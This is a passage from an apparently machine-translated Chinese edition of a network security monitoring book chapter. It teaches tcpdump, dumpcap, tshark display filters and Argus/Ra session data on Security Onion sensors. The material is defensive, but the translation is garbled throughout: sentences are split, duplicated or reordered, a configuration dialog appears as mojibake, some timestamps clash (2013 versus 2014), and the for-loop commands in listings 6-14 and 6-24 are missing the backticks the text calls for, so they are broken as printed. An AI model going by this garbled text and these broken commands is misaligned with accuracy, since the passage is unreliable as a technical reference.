标志 [P.], seq 1:978, ack 385, win 4220, length 977
x19:48:51.914324 IP 69.171.246.17.443 > 192.168.2.104.49608:
标志 [.], ack 978, win 45, length 0
y19:48:51.915284 IP 69.171.246.17.443 > 192.168.2.104.49608:
标志 [P.], seq 385:823, ack 978, win 45, length 438
捕获了 5 个数据包
5 个数据包由过滤器接收
内核丢弃了 0 个数据包
列表 6-1:使用 Tcpdump 捕获五个数据包
该流量包含一个用户数据报协议(UDP)数据包 u,
后跟四个传输控制协议(TCP)数据包(v,w,x,
和 y)。UDP 流量具有以下格式:
时间戳 / 第三层协议 / 源 IP 地址.源端口 > 目标 IP
地址.目标端口:第四层协议 / 数据长度
命令行数据包分析工具 117
TCP 流量的格式类似:
时间戳 / 第三层协议 / 源 IP 地址.源端口 > 目标 IP
地址.目标端口:第四层协议 / TCP 标志、TCP 序列号,
TCP 确认号、TCP 窗口大小、数据长度
注意
该跟踪中的时间为 UTC 时间。当你配置 SO 时,它会将本地时钟设置为使用 UTC,因此预计在网络证据中看到 UTC 时间戳。在保存为 libpcap 格式的文件中 时间以自 Unix 纪元起的秒数和微秒数存储
1970 年 1 月 1 日的“纪元时间”。本地系统随后将该值转换为 网络工具显示的时间。
要在查看实时接口时将流量保存到磁盘,请添加 -w 开关
后跟目标文件名。列表 6-2 展示了如何完成此任务。
$ sudo tcpdump -n -i eth1 -c 5 -w demo1.pcap
tcpdump: 警告:eth1:未分配 IPv4 地址
tcpdump: 正在监听 eth1,链路类型 EN10MB(以太网),捕获大小 65535 字节
捕获了 5 个数据包
5 个数据包由过滤器接收
内核丢弃了 0 个数据包
列表 6-2:使用 Tcpdump 捕获并保存五个数据包
要读取流量,请使用 -r 开关。(不需要 sudo 命令
因为你是从跟踪文件读取,而不是 eth1。)列表 6-3 展示了结果
阅读五个捕获的数据包。
$ tcpdump -n -r demo1.pcap
从文件 demo1.pcap 读取,链路类型 EN10MB(以太网)
20:23:44.858470 IP 74.125.228.54.443 > 192.168.2.104.49945:
标志 [P.], seq 1145489012:1145489069, ack 1920080636, win 4132, length 57
20:23:44.859134 IP 74.125.228.54.443 > 192.168.2.104.49945:
标志 [P.], seq 57:1407, ack 1, win 4132, length 1350
20:23:44.859154 IP 74.125.228.54.443 > 192.168.2.104.49945:
标志 [P.], seq 1407:2757, ack 1, win 4132, length 1350
20:23:44.859505 IP 74.125.228.54.443 > 192.168.2.104.49945:
标志 [P.],seq 2757:4107,ack 1,win 4132,长度 1350
20:23:44.860006 IP 74.125.228.54.443 > 192.168.2.104.49945:
标志 [P.],seq 4107:4261,ack 1,win 4132,长度 154
清单 6-3: 使用 Tcpdump 读取五个数据包
使用 Tcpdump 过滤器
除了显示、写入和读取流量,另一个核心用法
对 Tcpdump 的使用涉及应用过滤器。过滤器是一种限制流量显示或捕获的机制。
由 Tcpdump 和其他工具显示或捕获的流量。常用术语
第一百一十八章 第六章
过滤器的核心是 BPF,即 Berkeley 数据包过滤器虚拟机,它将人类可读的过滤器语法转化为适合代码语法的格式。
机器消耗。
应用过滤器
你可以通过将 BPF 添加到 Tcpdump 命令行来应用 BPF。
例如,要仅捕获 ICMP 流量,可以将 icmp 添加到语法中,如下所示
如清单 6-4 所示 (u)。
$ sudo tcpdump -n -i eth1 -c 10 -w icmp.pcap icmpu
tcpdump: 警告:eth1: 未分配 IPv4 地址
tcpdump: 在 eth1 上监听,链路类型 EN10MB(以太网),捕获大小 65535 字节
捕获了 10 个数据包
过滤器接收了 10 个数据包
0 个数据包被内核丢弃
清单 6-4: 使用 Tcpdump 捕获 10 个 ICMP 数据包
要读取该追踪,请再次使用 Tcpdump,如清单 6-5 所示。
$ tcpdump -n -r icmp.pcap
从文件 icmp.pcap 中读取,链路类型 EN10MB(以太网)
20:30:28.203723 IP 172.16.2.1 > 172.16.2.2: ICMP 回显请求,id 20822,seq 44313,长度 44
20:30:28.204282 IP 172.16.2.2 > 172.16.2.1: ICMP 回显应答,id 20822,seq 44313,长度 44
20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP 回显请求,id 1,seq 5,长度 40
20:30:28.871534 IP 173.194.75.104 > 192.168.2.108: ICMP 回显应答,id 1,seq 5,长度 40
20:30:29.213917 IP 172.16.2.1 > 172.16.2.2: ICMP 回显请求,id 20822,seq 44569,长度 44
20:30:29.214475 IP 172.16.2.2 > 172.16.2.1: ICMP 回显应答,id 20822,seq 44569,长度 44
20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP 回显请求,id 1,seq 6,长度 40
20:30:29.875103 IP 173.194.75.104 > 192.168.2.108: ICMP 回显应答,id 1,seq 6,长度 40
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP 回显请求,id 47441,seq 1,长度 64
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP 回显应答,id 47441,seq 1,长度 64
清单 6-5: 使用 Tcpdump 读取 ICMP 数据包
除了使用 icmp,你还可以通过使用其他特定的流量捕获方式
选项如 tcp、udp 等。例如,你可以收集指定端口的流量
指定 TCP 或 UDP 端口,例如端口 53,如清单 6-6 所示。
$ sudo tcpdump -n -i eth1 -s 0 port 53
tcpdump: 警告:eth1: 未分配 IPv4 地址
tcpdump: 忽略详细输出,使用 -v 或 -vv 查看完整的协议解码
在 eth1 上监听,链路类型 EN10MB(以太网),捕获大小 65535 字节
20:53:42.685078 IP 192.168.2.106.33348 > 172.16.2.1.53: 55862+ A? daisy.ubuntu.com. (34) 20:53:42.701421 IP 172.16.2.1.53 > 192.168.2.106.33348: 55862 2/0/0 A 91.189.95.54, A 91.189.95.55 (66)
列表 6-6:使用 Tcpdump 捕获端口 53 数据包
命令行数据包分析工具 119
列表 6-6 捕获端口 53 的 UDP 或 TCP 流量。要捕获端口 53
仅捕获 TCP 流量时,按列表 6-7 中的方式修改过滤器\。
$ sudo tcpdump -n -i eth1 -s 0 port 53 and tcp
tcpdump: 警告:eth1: 未分配 IPv4 地址
tcpdump: 详细输出被抑制,使用 -v 或 -vv 进行完整协议解码
正在监听 eth1,链路类型 EN10MB(以太网),捕获大小 65535 字节
21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53: 标志 [S],seq 1330246822,win 42340,选项 [mss 1460,sackOK,TS val 157066547 ecr 0,nop,wscale 11],长度 0
列表 6-7:使用 Tcpdump 捕获端口 53 的 TCP 数据包
SO 中包含的 pcap-filter 手册页显示了所有可用的
选项。通过在命令终端输入 man pcap-filter 来查看。
一些常见过滤器
现在让我们来看看一些常见的过滤器,用于显示来自或到达特定计算机的流量
来自特定主机,甚至网络的流量。
若要显示特定计算机的流量,使用主机 BPF,如下所示
在列表 6-8 中\。
$ tcpdump -n -r icmp.pcap host 192.168.2.127
从文件 icmp.pcap 读取,链路类型 EN10MB(以太网)
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP 回显请求,id 47441,seq 1,长度 64
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP 回显回复,id 47441,seq 1,长度 64
列表 6-8:通过 BPF 使用 Tcpdump 捕获涉及某主机的流量
若要显示来自特定源计算机的流量,使用源主机 BPF,如下所示
如列表 6-9 中所示\。
$ tcpdump -n -r icmp.pcap src host 192.168.2.127
从文件 icmp.pcap 读取,链路类型 EN10MB(以太网)
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP 回显请求,id 47441,seq 1,长度 64
列表 6-9:通过 BPF 使用 Tcpdump 捕获来自主机的流量
dst host BPF 与 src host 版本的工作方式相同,如下所示
如列表 6-10 中所示\。
$ tcpdump -n -r icmp.pcap dst host 192.168.2.127
从文件 icmp.pcap 读取,链路类型 EN10MB(以太网)
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP 回显回复,id 47441,seq 1,长度 64
列表 6-10:通过 BPF 使用 Tcpdump 捕获到主机的流量
第一百二十章 第六章
你可以使用网络 BPF 而不是主机,如列表 6-11 所示。
$ tcpdump -n -r icmp.pcap dst net 192.168.2.0
从文件 icmp.pcap 中读取,链路类型为 EN10MB(以太网)
20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP 回显请求,id 1,seq 5,长度 40
20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP 回显请求,id 1,seq 6,长度 40
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP 回显请求,id 47441,seq 1,长度 64
列表 6-11:通过 BPF 使用 Tcpdump 捕获网络流量
许多协议提供了 BPF 原语,允许你查看特定的
流量的各个方面,并且你还可以结合前面的元素
示例用于限制显示内容。例如,列表 6-12 仅显示 ICMP
从 IP 地址 192.168.2.127 获取回显回复\。
$ tcpdump -n -r icmp.pcap 'icmp[icmptype] = icmp-echoreply' and dst host 192.168.2.127
从文件 icmp.pcap 中读取,链路类型为 EN10MB(以太网)
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP 回显回复,id 47441,seq 1,长度 64
列表 6-12:通过 BPF 使用 Tcpdump 捕获主机的 ICMP 回显回复
从 Tcpdump 输出中提取细节
除了更具体地显示流量外,使用 Tcpdump,你还可以
还可以从结果中提取更多细节。例如,列表 6-13 显示
Tcpdump 显示时间戳格式为 YYYY- MM- DD HH: MM: SS.毫秒,通过
–tttt,添加第二层头信息,使用 –e,指示 Tcpdump 显示所有头信息
以及以十六进制和 ASCII 格式显示数据,使用 -XX。
$ tcpdump -n -tttt -e -XX -r icmp.pcap 'icmp[icmptype] = icmp-echoreply' and dst host 192.168.2.127
从文件 icmp.pcap 中读取,链路类型为 EN10MB(以太网)
2013-02-16 20:30:30.013728 00:0d:b9:27:f1:48 > 00:13:10:65:2f:ac, ethertype IPv4 (0x0800),长度 98:173.194.75.99 > 192.168.2.127: ICMP 回显回复,id 47441,seq 1,长度 64
0x0000: 0013 1065 2fac 000d b927 f148 0800 4500 ...e/....'.H..E.
0x0010: 0054 0000 0000 fb01 035c adc2 4b63 c0a8 .T.........Kc..
0x0020: 027f 0000 2092 b951 0001 65ec 1f51 0000 .......Q..e..Q..
0x0030: 0000 d30a 0f00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
列表 6-13:从 Tcpdump 输出中提取更多细节
注意
Tcpdump 提供其他匹配和存储选项。更多信息,请参见
Tcpdump 手册页面。请在命令提示符下输入 man tcpdump 来查看
阅读手册。
命令行数据包分析工具 121
使用 Tcpdump 检查完整内容数据
由于 Tcpdump 也可以在保存的跟踪中工作,因此你可以用它检查
在 SO 独立或传感器平台上保存的完整内容数据位于 /nsm/
sensor_data/
目录。你可以使用 Tcpdump 和 BPF 修改符来优化输出。
例如,列表 6-14 会搜索所有文件,查找涉及
host 8.8.8.8 和 TCP 通过 for 循环和 find 命令实现。注意
在 find 命令前面加上反引号(与波浪符号在同一键位),并在后面加上反引号
-type f。
$ for i in find /nsm/sensor_data/sademo-eth1/dailylogs/ -type f; do tcpdump -n -c 1 -r $i host 8.8.8.8 and tcp; done
从文件 /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361019690 读取,链路类型 EN10MB(以太网) u
从文件 /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361045719 读取,链路类型 EN10MB(以太网) v
21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53:
标志 [S],序列号 1330246822,窗口大小 42340,选项
[mss 1460,sackOK,TS val 157066547 ecr 0,nop,wscale 11],长度 0 w
从文件 /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361017706 读取,链路类型 EN10MB(以太网) x
-- 截取 --
列表 6-14:遍历 pcap 文件
列表 6-14 显示,第一次跟踪没有包含任何流量
匹配 BPF 的流量。第二次跟踪 v 包含一个匹配的 SYN 数据包 w。
第三次跟踪 x 没有包含任何匹配的包。
拥有完整内容数据的存储库后,你能提供更强大的
为你的 NSM 分析提供上下文。虽然大多数 NSM 分析师使用许多工具来
访问完整内容数据时,我通常使用 Tcpdump 快速查看特定
网络活动,应用 BPF 过滤器来监控特定端口或主机的流量。
使用 dumpcap 和 Tshark
Dumpcap 和 Tshark 工具随 Wireshark 一同发布(http://
www.wireshark.org/) 套件。Dumpcap 是一个简单的流量收集工具,且
Tshark 是 Wireshark 网络流量分析器的命令行版
分析器。Dumpcap 和 Tshark 依赖于 libpcap 流量
捕获库用来访问数据包。Dumpcap 和 Tshark 都可以在
可在 SO 上使用,但默认情况下它们未运行。分析师可以根据需要调用每个
按需访问,通常用于访问 /nsm/sensor_data/ 中的完整内容数据
注意
Gerald Combs 是 Dumpcap 的原始作者,他和 Wireshark 团队
根据 GNU 通用公共许可证第 2 版 ( http://www.wireshark
.org/faq.html )。
122 第六章
Tshark 的强大之处在于协议分析,得益于它理解的数百种协议,而且与 Tcpdump 不同,它允许你只访问
使用相当人性化的语法解读协议的任何方面。对于这个
原因是,如果我需要在命令行环境中解码某个特定协议
在这种情况下,我选择 Tshark 而不是 Tcpdump。
运行 Tshark
你可以通过命令终端运行 Tshark,尽管如果你启动它时
使用 sudo 时,它可能会报告如下错误和警告,正如所示
在列表 6-15 中\。
$ sudo tshark -i eth1
tshark: Lua: 加载时发生错误:
[string "/usr/share/wireshark/init.lua"]:45: dofile 已被禁用
以用户 "root" 和组 "root" 运行。这可能很危险。
在 eth1 上捕获
清单 6-15:启动 Tshark 时的 Lua 错误
Wireshark 和 Tshark 附带的协议解码器可能包含
可能包含漏洞。聪明的入侵者可以利用这些漏洞
发送特别构造的网络流量通过传感器。如果恶意数据包
如果恶意数据包在传感器前发送,入侵者可能会利用 Wireshark 或 Tshark 正在嗅探流量的漏洞
获取传感器控制权。如果 Wireshark 或 Tshark 正在以 root 权限运行,
当利用发生时,入侵者可能会获得传感器的完全控制权。
传感器。
为了部分缓解授予入侵者未经授权访问的风险,
Wireshark 开发者建议用户不要以 root 权限运行任何程序
以 root 权限运行。相反,他们建议使用 Dumpcap 捕获流量
首先,使用 Wireshark 或 Tshark 分析保存的数据包。
运行 Dumpcap
Dumpcap 使用与 Tcpdump 相同的 BPF 语法,如清单 6-16 所示\。
$ sudo dumpcap -i eth1 -c 2 -w /tmp/tshark-icmp.pcap -f "icmp and host 192.168.2.108"
文件:/tmp/tshark-icmp.pcap
捕获的数据包:2
在接口 eth1 上接收/丢弃的数据包:2/0
清单 6-16:使用 Dumpcap 捕获两个 ICMP 数据包
清单 6-16 中的命令告诉 Dumpcap 监听 eth1 网络接口
面对,保存两个数据包,写入到 /tmp/tshark-icmp.pcap 文件,并将捕获限制为涉及 IP 地址 192.168.2.108 计算机的 ICMP 流量\。
如你在清单中看到的,不需要通过 -s 指定 snaplength
与 Tcpdump 一样,因为 Dumpcap 使用默认的最大值。
清单 6-15 写入到 /tmp 目录,因为操作系统不会
命令行数据包分析工具 123
让我通过 sudo 以 root 身份写入我的主目录。我必须写入 root 用户也可以写入的目录,而这不包括我的
用户的主目录。
除了使用 sudo 并写入 root 可写的目录外,你还可以
重新配置 Wireshark,在 SO 中创建 wireshark 组,并将你的
用户帐户添加到该组中。这样做将允许用户捕获数据包
使用 Dumpcap 而不调用 sudo 提升权限来完成此操作
目标,运行以下命令:
$ sudo dpkg-reconfigure wireshark-common
如果你在 OpenSSH 会话中运行此命令,屏幕应显示
看起来像清单 6-17\。
ââââââââââââââââââââââ⤠配置 wireshark-common âââââââââââââââââââââââ
â â
â Dumpcap 可以以一种方式安装,使得“wireshark”系统组的成员能够捕获数据包。推荐这种方法,而不是 â
â 直接以 root 身份运行 Wireshark/Tshark 的替代方法,因为较少 â
â 代码将以提升的权限运行。 â
â â
â 如需详细信息,请参见 â
â /usr/share/doc/wireshark-common/README.Debian. â
â â
â 启用此功能可能带来安全风险,因此默认情况下禁用。 â
â 默认情况下。如果有疑问,建议保持禁用状态。 â
â â
â 非超级用户是否能捕获数据包? â
â â
â <是> <否> â â â
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
列表 6-17: 通过 OpenSSH 会话配置 wireshark-common
使用制表符或箭头键选择Yes,然后按回车键。脚本
将会在/etc/group文件中添加一个 Wireshark 用户。接下来,将你的用户添加到
wireshark 组。这里,用户名是 sademo:
$ sudo usermod -a -G wireshark sademo
现在从系统注销并重新登录。(如果你尝试捕获流量
如果不重新登录,你将收到一个错误。)尝试以普通用户身份捕获流量
普通用户,如列表 6-18 所示。
$ dumpcap -i eth1 -c 2 -w tshark-icmp.pcap -f "icmp and host 192.168.2.108"
文件:tshark-icmp.pcap
捕获的数据包:2
在接口 eth1 上接收到/丢弃的数据包:2/0
列表 6-18: 使用 Dumpcap 以用户级权限捕获流量。现在你可以 在不使用 sudo 并避免错误的情况下使用 Dumpcap 捕获流量。
第一百二十四章 第六章
在 Dumpcap 的流量上运行 Tshark
一旦 Dumpcap 捕获到流量,使用 Tshark 进行分析。要运行 Tshark
在其最基本的模式下,使用-r 选项,如列表 6-19 所示。
$ tshark -r tshark-icmp.pcap
1 0.000000 192.168.2.108 -> 8.8.8.8 ICMP 74 Echo(ping)请求
id=0x0001, seq=17/4352, ttl=127
2 0.022643 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo(ping)应答
id=0x0001, seq=17/4352, ttl=251
列表 6-19: 使用 Tshark 读取跟踪
该输出应该相对容易理解,尽管时间字段
可能会让你感到陌生。具体来说,主机 192.168.2.108 发起了一个 ICMP 回显
请求主机 8.8.8.8 的数据包 1,主机 8.8.8.8 用 ICMP 应答返回
在数据包 2 中为回显应答。默认情况下,Tshark 显示初始时间为 0,随后是
随后是从第一个数据包起的时间经过。你可以更改为显示
使用-t ad 选项,可以以更易读的格式显示,如列表 6-20 所示。
$ tshark -t ad -r tshark-icmp.pcap
1 2013-02-17 13:37:45.922462 192.168.2.108 -> 8.8.8.8 ICMP 74 回显
(ping)请求 id=0x0001, seq=17/4352, ttl=127
2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo
(ping)应答 id=0x0001, seq=17/4352, ttl=251
列表 6-20: 使用-t ad 选项在 Tshark 中显示绝对时间戳
使用 Tshark 的显示过滤器
Tshark 提供了一种强大的语言来显示匹配显示过滤器的数据包
filters组。Tshark 和 Wireshark 使用显示过滤器来控制捕获的流量。
如所示,但显示过滤器不影响数据包捕获。如果你
想要影响 Tshark(或者说 Dumpcap)收集的数据
存储。例如,列表 6-21 调用了一个显示过滤器,只显示 ICMP
回显应答(ICMP 类型 0 消息)。
$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0"
2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo
(ping)应答 id=0x0001, seq=17/4352, ttl=251
列表 6-21: 在 Tshark 中显示 ICMP 回显应答
该输出可能与 Tcpdump 的文件输出看起来没有太大区别
如列表 6-20 所示,但 Tshark(和 Wireshark)的强大之处在于
从可用显示过滤器的广泛目录中。ICMP 协议具有
截至本文写作时,共有 64 个显示过滤器可用,详细信息请参见 http://www.wireshark
.org/docs/dfref/i/icmp.html。所有这些都可以用来定义与显示过滤器匹配的特定值。
命令行数据包分析工具 125
Tshark 显示了它在协议方面的深厚知识,当你给它传递
-V 开关,指示 Tshark 输出详细的协议解码
指定流量。添加 -x 参数以显示数据包的十六进制和 ASCII 列表。
这两个选项在列表 6-22 中显示\。
$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0" -x -V
uFrame 2: 74 字节在网络上传输 (592 位),74 字节已捕获 (592 位)
到达时间: 2014 年 2 月 17 日 13:37:45.945105000 UTC
时间戳: 1361108265.945105000 秒
[与前一帧的时间差: 0.022643000 秒]
[前一帧显示时间差: 0.000000000 秒]
[与参考时间或前一帧的时间差: 0.022643000 秒]
帧编号: 2
帧长度: 74 字节 (592 位)
捕获长度: 74 字节 (592 位)
[帧被标记: 否]
[帧被忽略: 否]
[帧协议: eth:ip:icmp:data]
v 以太网 II, 源: PcEngine_27:f1:48 (00:0d:b9:27:f1:48), 目标: Cisco-Li_65:2f:ac
(00:13:10:65:2f:ac)
目的地: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac)
地址: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac)
.... ...0 .... .... .... .... = IG 位: 单播地址 (单播)
.... ..0. .... .... .... .... = LG 位: 全球唯一地址 (出厂默认)
源: PcEngine_27:f1:48 (00:0d:b9:27:f1:48)
地址: PcEngine_27:f1:48 (00:0d:b9:27:f1:48)
.... ...0 .... .... .... .... = IG 位: 单播地址 (单播)
.... ..0. .... .... .... .... = LG 位: 全球唯一地址 (出厂默认)
类型: IP (0x0800)
w 互联网协议版本 4, 源: 8.8.8.8 (8.8.8.8), 目标: 192.168.2.108 (192.168.2.108) 版本: 4
头部长度: 20 字节
区分服务字段: 0x00 (DSCP 0x00: 默认; ECN: 0x00: 非 ECT (非
ECN 支持的传输))
0000 00.. = 区分服务代码点: 默认 (0x00)
.... ..00 = 明确拥塞通知: 非 ECT (非 ECN 支持的传输)
(0x00)
总长度: 60
标识符: 0x0000 (0)
标志: 0x00
0... .... = 保留位: 未设置
.0.. .... = 不分片: 未设置
..0. .... = 更多片段: 未设置
分片偏移: 0
生存时间: 251
协议: ICMP (1)
头部校验和: 0xec9c [正确]
[正确: 是]
[错误: 否]
源: 8.8.8.8 (8.8.8.8)
目的地: 192.168.2.108 (192.168.2.108)
126 第六章
x 互联网控制消息协议
类型: 0 (回显 (ping) 回复)
代码: 0
校验和: 0x554a [正确]
标识符 (BE): 1 (0x0001)
标识符 (LE): 256 (0x0100)
序列号 (BE): 17 (0x0011)
序列号 (LE): 4352 (0x1100)
[响应于: 1]
[响应时间: 22.643 毫秒]
数据 (32 字节)
数据:6162636465666768696a6b6c6d6e6f707172737475767761...
[长度:32]
y0000 00 13 10 65 2f ac 00 0d b9 27 f1 48 08 00 45 00 ...e/....'.H..E.
0010 00 3c 00 00 00 00 fb 01 ec 9c 08 08 08 08 c0 a8 .<..............
0020 02 6c 00 00 55 4a 00 01 00 11 61 62 63 64 65 66 .l..UJ....abcdef
0030 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 ghijklmnopqrstuv
0040 77 61 62 63 64 65 66 67 68 69 wabcdefghilll
列表 6-22:Tshark 中 ICMP 回显应答的完整解码
这个数据包的完整解码分为五个主要部分:
• 部分 u 显示帧信息,包括时间、帧大小和其他细节。
大小和其他细节。
• 部分 v 显示以太网头部的详细信息,如源地址,
目的地和媒体访问控制(MAC)地址。
• 部分 w 提供来自 IP 头部的信息,如源地址和目的地。
国家 IP 地址和其他 IP 协议数据。
• 部分 x 显示关于 ICMP 协议本身的详细信息。
• 部分 y 是整个帧的十六进制和 ASCII 表示。
像 Tshark 这样的工具非常有用,因为它们展示了每一个细节。
协议。例如,你可能会发现知道 ICMP
序列号,如果该元素可能已被用于可疑或
恶意用途。
Tshark 显示过滤器的实际应用
在这一部分,我们将查看一些显示过滤器的示例,展示
Tshark 的强大功能。
假设你想查找简单邮件传输协议(SMTP)的流量,
(SMTP)命令。你可以使用 smtp.req.command 显示过滤器,正如
如列表 6-23 所示。
$ tshark -t ad -r smtp.pcap -R 'smtp.req.command'
4 2014-02-17 14:09:14.659043 192.168.2.127 -> 68.87.26.155 SMTP 76 C: helo test
10 2014-02-17 14:09:19.090208 192.168.2.127 -> 68.87.26.155 SMTP 71 C: quit
列表 6-23:Tshark 显示过滤器用于 SMTP
命令行数据包分析工具 127
如果你想查找由 curl 生成的 HTTP GET 请求中的用户代理,可以将两个过滤器一起使用。列表 6-24 使用 for 循环搜索
整个目录。echo 语句显示了 Tshark 追踪的相关信息。
搜索它。
$ for i in find /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/ -type f; do echo $i; tshark -t ad -r $i -R 'http.user_agent contains "curl" and http.request.method == GET'; done
/nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364
143841 2014-02-17 14:26:43.875022 192.168.2.127 -> 217.160.51.31 HTTP 223 GET / HTTP/1.1
列表 6-24:使用 Tshark 通过循环查找 HTTP 流量
Tshark 显示过滤器还可以轻松搜索来自或到达
一个 IP 地址范围。例如,列表 6-25 查找 IP 范围内的流量。
地址范围在 192.168.2.100 到 192.168.2.110 之间,包括,但不包括 TCP
或 UDP。
$ tshark -t ad -r /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364 -R
'ip.dst >= 192.168.2.100 and ip.dst <= 192.168.2.110 and not tcp and not udp'
10327 2014-02-17 13:33:01.775757 8.8.8.8 -> 192.168.2.108
ICMP 74 Echo(ping)回复 id=0x0001,seq=16/4096,ttl=251
12519 2014-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108
ICMP 74 Echo(ping)回复 id=0x0001,seq=17/4352,ttl=251
清单 6-25:使用 Tshark 显示过滤器搜索 IP 地址范围
要查看更多细节,可以添加-V和/或-x开关。
如你所见,我喜欢使用 Tshark 来查看保存的跟踪数据,查找特定元素。
元素。对于许多显示过滤器,创建等效的 BPF 语法是困难的。
这些显示过滤器的语法。虽然技术上是可行的,但 BPF 语法会
非常复杂。
运行 argus 和 ra 客户端
我们的最终命令行工具是 Argus(http://www.qosient.com/argus/),这是一个
会话数据生成和分析套件,以及用于读取数据的客户端,
Ra。Argus 服务器默认在 SO 上运行,但分析师必须使用
使用 Argus 客户端工具访问存储在/nsm/sensor_data/中的数据
注
Carter Bullard 于 1993 年开始在卡内基梅隆大学软件工程研究所(SEI)编写 Argus,并于 1996 年初公开发布了 Argus 1.5 版本。
今天,这个代码作为一个服务器组件和多个客户端组件存在,采用 GNU 通用公共许可证第 3 版授权。
你可以通过运行nsm_sensor_命令来验证 Argus 服务器的状态。
使用--only-argus开关的 ps-status 脚本,如清单 6-26 所示。
128 第六章
$ sudo nsm_sensor_ps-status --only-argus
状态:sademo-eth1
- argus [ OK ]
清单 6-26:检查 Argus 状态
停止和启动 Argus
如果 Argus 未运行,你可以重新启动它。让我们先停止它,然后重新启动。
如清单 6-27 所示。
$ sudo nsm_sensor_ps-stop --only-argus
停止中:sademo-eth1
- 停止中:argus [ OK ]
$ sudo nsm_sensor_ps-start --only-argus
启动中:sademo-eth1
-
启动中:argus [ OK ]
-
当前磁盘空间使用率为 21%
清单 6-27:停止和启动 Argus
存储在/nsm/sensor_data/
日志文件以单独的文件形式显示,每个文件代表一天,命名为YYYY-MM-DD.log。
停止并重新启动 Argus 服务器不会销毁先前的文件,
仅在此基础上追加数据。
Argus 文件格式
Argus 目录中的文件是仅能由 Argus 客户端工具读取的二进制文件。
客户端工具。二进制格式保持文件的紧凑性。相比之下,文本格式会占用更多空间。
示例传感器,具有 48 天的 NSM 数据,显示以下目录使用情况
用于完整内容和 Argus 会话数据。详细信息请参见清单 6-28。
$ sudo du -csh /nsm/sensor_data/soe-eth0/argus/
1.8G /nsm/sensor_data/soe-eth0/argus/
1.8G 总计
$ sudo du -csh /nsm/sensor_data/soe-eth0/dailylogs/
83G /nsm/sensor_data/soe-eth0/dailylogs/
83G 总计
清单 6-28:示例 Argus 和 pcap 存储
如你所见,在此传感器上有 48 天的完整内容数据,格式为 pcap。
传感器占用了 83GB 空间,但相同时间段内的 Argus 会话数据只占用
只有 1.8GB,或者是总空间的 1/46。这个比率可能会有很大不同。
这取决于每个网络的性质,但你可以看到与会话数据相比,空间的优势。
与会话数据相比,完整内容数据的空间占用较少。
命令行数据包分析工具 129
这个比较展示了会话数据的强大功能。如果你只是
需要知道与连接相关的 IP 地址、协议和/或端口。
对于连接,你可以通过会话数据获取所有这些信息。
你不需要捕获或搜索大量完整内容数据就能获取这些信息。
检查 Argus 数据
喜欢使用命令行工具解析数据的分析师可能会发现
Argus 数据特别有用。我将展示几种检查这些数据的方法。
有趣的结果。如果你想查找特定信息或执行脚本搜索,可能会使用这种方法来查找异常活动。
查找特定信息或执行会话数据的脚本搜索来查找异常活动。
首先,我们将比较使用两个 Argus 客户端 Ra 来读取会话数据。
和 Racluster。列出 6-29 显示了一个使用 Ra 查找会话的示例。
包含目标端口 21 的记录,这个端口被许多 FTP 服务器使用。
$ ra -n -r 2014-02-10.log - tcp and dst port 21 -s stime saddr sport daddr dport sbytes dbytes StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes u 11:10:53.939711 192.168.2.127.60102 202.12.29.205.21 140 74
v 11:11:04.434637 192.168.2.127.60102 202.12.29.205.21 769 1633
w 11:11:10.003721 192.168.2.127.60102 202.12.29.205.21 204 301
11:11:25.561995 192.168.2.127.50732 192.149.252.20.21 917 1195
11:11:25.806418 192.168.2.127.50734 192.149.252.20.21 979 1198
11:12:07.851453 192.168.2.127.48178 200.3.14.11.21 939 1346
11:12:09.236747 192.168.2.127.48180 200.3.14.11.21 935 1345
11:12:16.019452 192.168.2.127.41655 193.0.6.140.21 1114 1279
11:12:17.357230 192.168.2.127.41657 193.0.6.140.21 840 979
11:12:23.449643 192.168.2.127.41657 193.0.6.140.21 348 301
列出 6-29:端口 21 的 Argus Ra 输出
-n 开关告诉 Ra 不要将端口号解析为名称。BPF
语法过滤器 tcp 和 dst port 21 指定了一个感兴趣的协议和端口。
-s 开关告诉 Ra 显示哪些字段。 (Ra 手册页面列出了所有输出
由 -s 开关控制的字段。SrcBytes 和 DstBytes 列中
结果计数事务数据字节,其中包括数据包头。 (要
要获取应用层字节,使用 sappbytes 和 dappbytes 替代 sbytes 和
命令行中的 dbytes。
注意到某些会话有多个记录。
Argus 服务器在看到连接保持活动时写入了这些记录。
对于像列出 6-29 中这样简短的结果没问题,但对于连接时间较长的情况就不适用了。
对于保持连接较长时间的会话,使用 Racluster 来合并这些记录,如
如在列出 6-30 中所示。
